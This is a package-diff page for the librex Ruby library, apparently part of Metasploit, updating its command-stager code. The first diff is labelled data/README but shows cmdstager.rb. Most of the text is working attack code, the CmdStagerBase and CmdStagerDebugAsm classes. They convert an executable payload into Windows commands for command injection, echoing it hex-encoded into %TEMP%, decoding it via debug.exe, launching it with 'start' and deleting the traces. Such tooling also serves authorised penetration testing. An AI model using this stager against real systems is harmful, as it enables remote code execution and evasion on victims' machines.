librex 0.0.1 → 0.0.3
Sign up to get free protection for your applications and to get access to all the features.
- data/README +4 -0
- data/lib/rex/exploitation/cmdstager.rb +9 -133
- data/lib/rex/exploitation/cmdstager/base.rb +170 -0
- data/lib/rex/exploitation/cmdstager/debug_asm.rb +142 -0
- data/lib/rex/exploitation/cmdstager/debug_write.rb +136 -0
- data/lib/rex/exploitation/cmdstager/tftp.rb +63 -0
- data/lib/rex/exploitation/cmdstager/vbs.rb +128 -0
- data/lib/rex/io/stream.rb +2 -2
- data/lib/rex/io/stream_server.rb +1 -1
- data/lib/rex/job_container.rb +7 -6
- data/lib/rex/mime/header.rb +12 -10
- data/lib/rex/mime/message.rb +57 -26
- data/lib/rex/ole/directory.rb +5 -4
- data/lib/rex/ole/samples/create_ole.rb +0 -0
- data/lib/rex/ole/samples/dir.rb +0 -0
- data/lib/rex/ole/samples/dump_stream.rb +1 -1
- data/lib/rex/ole/samples/ole_info.rb +0 -0
- data/lib/rex/parser/nexpose_xml.rb +131 -0
- data/lib/rex/parser/nmap_xml.rb +1 -0
- data/lib/rex/peparsey/pe.rb +21 -3
- data/lib/rex/post/meterpreter/client.rb +6 -1
- data/lib/rex/post/meterpreter/client_core.rb +2 -2
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +19 -18
- data/lib/rex/post/meterpreter/packet.rb +68 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +2 -2
- data/lib/rex/post/meterpreter/packet_response_waiter.rb +5 -5
- data/lib/rex/post/meterpreter/ui/console.rb +2 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +5 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +2 -2
- data/lib/rex/proto/dcerpc/client.rb.ut.rb +0 -0
- data/lib/rex/proto/http/client.rb +8 -3
- data/lib/rex/proto/http/packet.rb +11 -1
- data/lib/rex/proto/smb/client.rb +1 -1
- data/lib/rex/proto/smb/utils.rb +72 -24
- data/lib/rex/proto/tftp.rb +3 -0
- data/lib/rex/proto/tftp/constants.rb +37 -0
- data/lib/rex/proto/tftp/server.rb +249 -0
- data/lib/rex/proto/tftp/server.rb.ut.rb +28 -0
- data/lib/rex/script/meterpreter.rb +6 -0
- data/lib/rex/services/local_relay.rb +2 -2
- data/lib/rex/socket/ip.rb +9 -8
- data/lib/rex/socket/range_walker.rb +43 -5
- data/lib/rex/socket/udp.rb +11 -4
- data/lib/rex/text.rb +42 -19
- data/lib/rex/ui/interactive.rb +24 -22
- data/lib/rex/ui/text/irb_shell.rb +4 -2
- data/lib/rex/ui/text/output/file.rb +6 -0
- data/lib/rex/ui/text/shell.rb +14 -18
- data/lib/rex/zip/samples/comment.rb +0 -0
- data/lib/rex/zip/samples/mkwar.rb +0 -0
- data/lib/rex/zip/samples/mkzip.rb +0 -0
- data/lib/rex/zip/samples/recursive.rb +0 -0
- metadata +20 -5
data/README
CHANGED
@@ -1,133 +1,9 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
# This class provides an interface to generating cmdstagers.
|
11
|
-
#
|
12
|
-
###
|
13
|
-
|
14
|
-
class CmdStager
|
15
|
-
|
16
|
-
def initialize(code, framework, platform, arch = nil)
|
17
|
-
@var_decoder = Rex::Text.rand_text_alpha(5)
|
18
|
-
@var_encoded = Rex::Text.rand_text_alpha(5)
|
19
|
-
@var_batch = Rex::Text.rand_text_alpha(5)
|
20
|
-
@decoder = File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "decoder_stub") # need error checking here
|
21
|
-
@framework = framework
|
22
|
-
@linelen = 2047 # covers most likely cases
|
23
|
-
|
24
|
-
# XXX: TODO: support multipl architectures/platforms
|
25
|
-
@exe = Msf::Util::EXE.to_win32pe(@framework, code)
|
26
|
-
end
|
27
|
-
|
28
|
-
|
29
|
-
#
|
30
|
-
# Generates the cmd payload including the h2bv2 decoder and encoded payload.
|
31
|
-
# The resulting commands also perform cleanup, removing any left over files
|
32
|
-
#
|
33
|
-
def generate(opts = {}, linelen = 200)
|
34
|
-
@linelen = linelen
|
35
|
-
|
36
|
-
# Return the output from payload_exe
|
37
|
-
payload_exe(opts)
|
38
|
-
end
|
39
|
-
|
40
|
-
|
41
|
-
#
|
42
|
-
# This does the work of actually building an array of commands that
|
43
|
-
# when executed will create and run an executable payload.
|
44
|
-
#
|
45
|
-
def payload_exe(opts)
|
46
|
-
|
47
|
-
persist = opts[:persist]
|
48
|
-
|
49
|
-
# Initialize an arry of commands to execute
|
50
|
-
cmds = []
|
51
|
-
|
52
|
-
# Add the exe building commands (write to .b64)
|
53
|
-
cmds += encode_payload()
|
54
|
-
|
55
|
-
# Add the decoder script building commands
|
56
|
-
cmds += generate_decoder()
|
57
|
-
|
58
|
-
# Make it all happen
|
59
|
-
cmds << "cscript //nologo %TEMP%\\#{@var_decoder}.vbs"
|
60
|
-
|
61
|
-
# If we're not persisting, clean up afterwards
|
62
|
-
if (not persist)
|
63
|
-
cmds << "del %TEMP%\\#{@var_decoder}.vbs"
|
64
|
-
cmds << "del %TEMP%\\#{@var_encoded}.b64"
|
65
|
-
end
|
66
|
-
|
67
|
-
# Compress commands into as few lines as possible.
|
68
|
-
new_cmds = []
|
69
|
-
line = ''
|
70
|
-
cmds.each { |cmd|
|
71
|
-
# If this command will fit...
|
72
|
-
if ((line.length + cmd.length + 4) < @linelen)
|
73
|
-
line << " & " if line.length > 0
|
74
|
-
line << cmd
|
75
|
-
else
|
76
|
-
# It won't fit.. If we don't have something error out
|
77
|
-
if (line.length < 1)
|
78
|
-
raise RuntimeError, 'Line fit problem -- file a bug'
|
79
|
-
end
|
80
|
-
# If it won't fit even after emptying the current line, error out..
|
81
|
-
if (cmd.length > @linelen)
|
82
|
-
raise RuntimeError, 'Line too long - %d bytes' % cmd.length
|
83
|
-
end
|
84
|
-
new_cmds << line
|
85
|
-
line = ''
|
86
|
-
line << cmd
|
87
|
-
end
|
88
|
-
}
|
89
|
-
new_cmds << line if (line.length > 0)
|
90
|
-
|
91
|
-
# Return the final array.
|
92
|
-
new_cmds
|
93
|
-
end
|
94
|
-
|
95
|
-
|
96
|
-
def generate_decoder()
|
97
|
-
# Read the decoder data file
|
98
|
-
f = File.new(@decoder, "rb")
|
99
|
-
decoder = f.read(f.stat.size)
|
100
|
-
f.close
|
101
|
-
|
102
|
-
# Replace variables
|
103
|
-
decoder.gsub!(/decode_stub/, "%TEMP%\\#{@var_decoder}.vbs")
|
104
|
-
decoder.gsub!(/ENCODED/, "%TEMP%\\#{@var_encoded}.b64")
|
105
|
-
decoder.gsub!(/DECODED/, "%TEMP%\\#{@var_batch}.exe")
|
106
|
-
|
107
|
-
# Split it apart by the lines
|
108
|
-
decoder.split("\n")
|
109
|
-
end
|
110
|
-
|
111
|
-
|
112
|
-
def encode_payload()
|
113
|
-
tmp = Rex::Text.encode_base64(@exe)
|
114
|
-
orig = tmp.dup
|
115
|
-
|
116
|
-
cmds = []
|
117
|
-
l_start = "echo "
|
118
|
-
l_end = ">>%TEMP%\\#{@var_encoded}.b64"
|
119
|
-
xtra_len = l_start.length + @var_encoded.length + l_end.length + 1
|
120
|
-
while (tmp.length > 0)
|
121
|
-
cmd = ''
|
122
|
-
cmd << l_start
|
123
|
-
cmd << tmp.slice!(0, (@linelen - xtra_len))
|
124
|
-
cmd << l_end
|
125
|
-
cmds << cmd
|
126
|
-
end
|
127
|
-
|
128
|
-
cmds
|
129
|
-
end
|
130
|
-
|
131
|
-
end
|
132
|
-
end
|
133
|
-
end
|
1
|
+
##
|
2
|
+
# $Id: cmdstager.rb 9375 2010-05-26 22:39:56Z jduck $
|
3
|
+
##
|
4
|
+
|
5
|
+
require 'rex/exploitation/cmdstager/base'
|
6
|
+
require 'rex/exploitation/cmdstager/vbs'
|
7
|
+
require 'rex/exploitation/cmdstager/debug_write'
|
8
|
+
require 'rex/exploitation/cmdstager/debug_asm'
|
9
|
+
require 'rex/exploitation/cmdstager/tftp'
|
@@ -0,0 +1,170 @@
|
|
1
|
+
require 'rex/text'
|
2
|
+
require 'rex/arch'
|
3
|
+
require 'msf/core/framework'
|
4
|
+
|
5
|
+
module Rex
|
6
|
+
module Exploitation
|
7
|
+
|
8
|
+
###
|
9
|
+
#
|
10
|
+
# This class provides an interface to generating cmdstagers.
|
11
|
+
#
|
12
|
+
###
|
13
|
+
|
14
|
+
class CmdStagerBase
|
15
|
+
|
16
|
+
def initialize(exe)
|
17
|
+
@linemax = 2047 # covers most likely cases
|
18
|
+
@exe = exe
|
19
|
+
end
|
20
|
+
|
21
|
+
#
|
22
|
+
# Generates the cmd payload including the h2bv2 decoder and encoded payload.
|
23
|
+
# The resulting commands also perform cleanup, removing any left over files
|
24
|
+
#
|
25
|
+
def generate(opts = {})
|
26
|
+
# Allow temporary directory override
|
27
|
+
@tempdir = opts[:temp]
|
28
|
+
@tempdir ||= "%TEMP%\\"
|
29
|
+
if (@tempdir == '.')
|
30
|
+
@tempdir = ''
|
31
|
+
end
|
32
|
+
|
33
|
+
opts[:linemax] ||= @linemax
|
34
|
+
|
35
|
+
generate_cmds(opts)
|
36
|
+
end
|
37
|
+
|
38
|
+
|
39
|
+
#
|
40
|
+
# This does the work of actually building an array of commands that
|
41
|
+
# when executed will create and run an executable payload.
|
42
|
+
#
|
43
|
+
def generate_cmds(opts)
|
44
|
+
|
45
|
+
# Initialize an arry of commands to execute
|
46
|
+
cmds = []
|
47
|
+
|
48
|
+
# Add the exe building commands
|
49
|
+
cmds += generate_cmds_payload(opts)
|
50
|
+
|
51
|
+
# Add the decoder script building commands
|
52
|
+
cmds += generate_cmds_decoder(opts)
|
53
|
+
|
54
|
+
compress_commands(cmds, opts)
|
55
|
+
end
|
56
|
+
|
57
|
+
|
58
|
+
#
|
59
|
+
# Generate the commands to create an encoded version of the
|
60
|
+
# payload file
|
61
|
+
#
|
62
|
+
def generate_cmds_payload(opts)
|
63
|
+
|
64
|
+
# First encode the payload
|
65
|
+
encoded = encode_payload(opts)
|
66
|
+
|
67
|
+
# Now split it up into usable pieces
|
68
|
+
parts = slice_up_payload(encoded, opts)
|
69
|
+
|
70
|
+
# Turn each part into a valid command
|
71
|
+
parts_to_commands(parts, opts)
|
72
|
+
end
|
73
|
+
|
74
|
+
#
|
75
|
+
# This method is intended to be override by the child class
|
76
|
+
#
|
77
|
+
def encode_payload(opts)
|
78
|
+
# Defaults to nothing
|
79
|
+
""
|
80
|
+
end
|
81
|
+
|
82
|
+
#
|
83
|
+
# We take a string of data and turn it into an array of parts.
|
84
|
+
#
|
85
|
+
# We save opts[:extra] bytes out of every opts[:linemax] for the parts
|
86
|
+
# appended and prepended to the resulting elements.
|
87
|
+
#
|
88
|
+
def slice_up_payload(encoded, opts)
|
89
|
+
tmp = encoded.dup
|
90
|
+
|
91
|
+
parts = []
|
92
|
+
xtra_len = opts[:extra]
|
93
|
+
xtra_len ||= 0
|
94
|
+
while (tmp.length > 0)
|
95
|
+
parts << tmp.slice!(0, (opts[:linemax] - xtra_len))
|
96
|
+
end
|
97
|
+
|
98
|
+
parts
|
99
|
+
end
|
100
|
+
|
101
|
+
#
|
102
|
+
# Combine the parts of the encoded file with the stuff that goes
|
103
|
+
# before / after it -- example "echo " and " >>file"
|
104
|
+
#
|
105
|
+
def parts_to_commands(parts, opts)
|
106
|
+
# Return as-is
|
107
|
+
parts
|
108
|
+
end
|
109
|
+
|
110
|
+
|
111
|
+
|
112
|
+
#
|
113
|
+
# Generate the commands that will decode the file we just created
|
114
|
+
#
|
115
|
+
def generate_cmds_decoder(opts)
|
116
|
+
# Defaults to no commands.
|
117
|
+
[]
|
118
|
+
end
|
119
|
+
|
120
|
+
|
121
|
+
|
122
|
+
#
|
123
|
+
# Compress commands into as few lines as possible. Minimizes the number of
|
124
|
+
# commands to execute while maximizing the number of commands per execution.
|
125
|
+
#
|
126
|
+
def compress_commands(cmds, opts)
|
127
|
+
new_cmds = []
|
128
|
+
line = ''
|
129
|
+
concat = cmd_concat_operator
|
130
|
+
cmds.each { |cmd|
|
131
|
+
|
132
|
+
# If this command will fit, concat it and move on.
|
133
|
+
if ((line.length + cmd.length + concat.length) < opts[:linemax])
|
134
|
+
line << concat if line.length > 0
|
135
|
+
line << cmd
|
136
|
+
next
|
137
|
+
end
|
138
|
+
|
139
|
+
# The command wont fit concat'd to this line, if we have something,
|
140
|
+
# we have to add it to the array now.
|
141
|
+
if (line.length > 0)
|
142
|
+
new_cmds << line
|
143
|
+
line = ''
|
144
|
+
end
|
145
|
+
|
146
|
+
# If it won't fit even after emptying the current line, error out..
|
147
|
+
if (cmd.length > opts[:linemax])
|
148
|
+
raise RuntimeError, 'Line too long - %u bytes, max %u' % [cmd.length, opts[:linemax]]
|
149
|
+
end
|
150
|
+
|
151
|
+
# It will indeed fit by itself, lets add it.
|
152
|
+
line << cmd
|
153
|
+
|
154
|
+
}
|
155
|
+
new_cmds << line if (line.length > 0)
|
156
|
+
|
157
|
+
# Return the final array.
|
158
|
+
new_cmds
|
159
|
+
end
|
160
|
+
|
161
|
+
#
|
162
|
+
# Can be overriden. For exmaple, use for unix use ";" instead
|
163
|
+
#
|
164
|
+
def cmd_concat_operator
|
165
|
+
""
|
166
|
+
end
|
167
|
+
|
168
|
+
end
|
169
|
+
end
|
170
|
+
end
|
@@ -0,0 +1,142 @@
|
|
1
|
+
##
|
2
|
+
# $Id$
|
3
|
+
##
|
4
|
+
|
5
|
+
require 'rex/text'
|
6
|
+
require 'rex/arch'
|
7
|
+
require 'msf/core/framework'
|
8
|
+
|
9
|
+
module Rex
|
10
|
+
module Exploitation
|
11
|
+
|
12
|
+
###
|
13
|
+
#
|
14
|
+
# This class provides the ability to create a sequence of commands from an executable.
|
15
|
+
# When this sequence is ran via command injection or a shell, the resulting exe will
|
16
|
+
# be written to disk and executed.
|
17
|
+
#
|
18
|
+
# This particular version uses debug.exe to assemble a small COM file. The COM will
|
19
|
+
# take a hex-ascii file, created via echo >>, and decode it to the final binary.
|
20
|
+
#
|
21
|
+
# Requires: debug.exe
|
22
|
+
#
|
23
|
+
# Written by Joshua J. Drake
|
24
|
+
#
|
25
|
+
###
|
26
|
+
|
27
|
+
class CmdStagerDebugAsm < CmdStagerBase
|
28
|
+
|
29
|
+
def initialize(exe)
|
30
|
+
super
|
31
|
+
|
32
|
+
@var_decoder_asm = Rex::Text.rand_text_alpha(8) + ".dat"
|
33
|
+
@var_decoder_com = Rex::Text.rand_text_alpha(8) + ".com"
|
34
|
+
@var_payload_in = Rex::Text.rand_text_alpha(8) + ".dat"
|
35
|
+
@var_payload_out = Rex::Text.rand_text_alpha(8) + ".exe"
|
36
|
+
@decoder = nil # filled in later
|
37
|
+
end
|
38
|
+
|
39
|
+
|
40
|
+
#
|
41
|
+
# Override just to set the extra byte count
|
42
|
+
#
|
43
|
+
def generate_cmds(opts)
|
44
|
+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
45
|
+
@cmd_start = "echo "
|
46
|
+
@cmd_end = ">>#{@tempdir}#{@var_payload_in}"
|
47
|
+
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
48
|
+
opts.merge!({ :extra => xtra_len })
|
49
|
+
super
|
50
|
+
end
|
51
|
+
|
52
|
+
|
53
|
+
#
|
54
|
+
# Simple hex encoding...
|
55
|
+
#
|
56
|
+
def encode_payload(opts)
|
57
|
+
ret = @exe.unpack('H*')[0]
|
58
|
+
end
|
59
|
+
|
60
|
+
|
61
|
+
#
|
62
|
+
# Combine the parts of the encoded file with the stuff that goes
|
63
|
+
# before / after it.
|
64
|
+
#
|
65
|
+
def parts_to_commands(parts, opts)
|
66
|
+
|
67
|
+
cmds = []
|
68
|
+
parts.each do |p|
|
69
|
+
cmd = ''
|
70
|
+
cmd << @cmd_start
|
71
|
+
cmd << p
|
72
|
+
cmd << @cmd_end
|
73
|
+
cmds << cmd
|
74
|
+
end
|
75
|
+
|
76
|
+
cmds
|
77
|
+
end
|
78
|
+
|
79
|
+
|
80
|
+
#
|
81
|
+
# Generate the commands that will decode the file we just created
|
82
|
+
#
|
83
|
+
def generate_cmds_decoder(opts)
|
84
|
+
|
85
|
+
# Allow decoder stub override (needs to input base64 and output bin)
|
86
|
+
@decoder = opts[:decoder] if (opts[:decoder])
|
87
|
+
|
88
|
+
# Read the decoder data file
|
89
|
+
f = File.new(@decoder, "rb")
|
90
|
+
decoder = f.read(f.stat.size)
|
91
|
+
f.close
|
92
|
+
|
93
|
+
# Replace variables
|
94
|
+
decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_decoder_asm}")
|
95
|
+
decoder.gsub!(/h2b\.com/, "#{@tempdir}#{@var_decoder_com}")
|
96
|
+
# NOTE: these two filenames MUST 8+3 chars long.
|
97
|
+
decoder.gsub!(/testfile\.dat/, "#{@var_payload_in}")
|
98
|
+
decoder.gsub!(/testfile\.out/, "#{@var_payload_out}")
|
99
|
+
|
100
|
+
# Split it apart by the lines
|
101
|
+
decoder.split("\n")
|
102
|
+
end
|
103
|
+
|
104
|
+
|
105
|
+
#
|
106
|
+
# We override compress commands just to stick in a few extra commands
|
107
|
+
# last second..
|
108
|
+
#
|
109
|
+
def compress_commands(cmds, opts)
|
110
|
+
# Convert the debug script to an executable...
|
111
|
+
cvt_cmd = ''
|
112
|
+
if (@tempdir != '')
|
113
|
+
cvt_cmd << "cd %TEMP% && "
|
114
|
+
end
|
115
|
+
cvt_cmd << "debug < #{@tempdir}#{@var_decoder_asm}"
|
116
|
+
cmds << cvt_cmd
|
117
|
+
|
118
|
+
# Convert the encoded payload...
|
119
|
+
cmds << "#{@tempdir}#{@var_decoder_com}"
|
120
|
+
|
121
|
+
# Make it all happen
|
122
|
+
cmds << "start #{@tempdir}#{@var_payload_out}"
|
123
|
+
|
124
|
+
# Clean up after unless requested not to..
|
125
|
+
if (not opts[:nodelete])
|
126
|
+
cmds << "del #{@tempdir}#{@var_decoder_asm}"
|
127
|
+
cmds << "del #{@tempdir}#{@var_decoder_com}"
|
128
|
+
cmds << "del #{@tempdir}#{@var_payload_in}"
|
129
|
+
# XXX: We won't be able to delete the payload while it is running..
|
130
|
+
end
|
131
|
+
|
132
|
+
super
|
133
|
+
end
|
134
|
+
|
135
|
+
# Windows uses & to concat strings
|
136
|
+
def cmd_concat_operator
|
137
|
+
" & "
|
138
|
+
end
|
139
|
+
|
140
|
+
end
|
141
|
+
end
|
142
|
+
end
|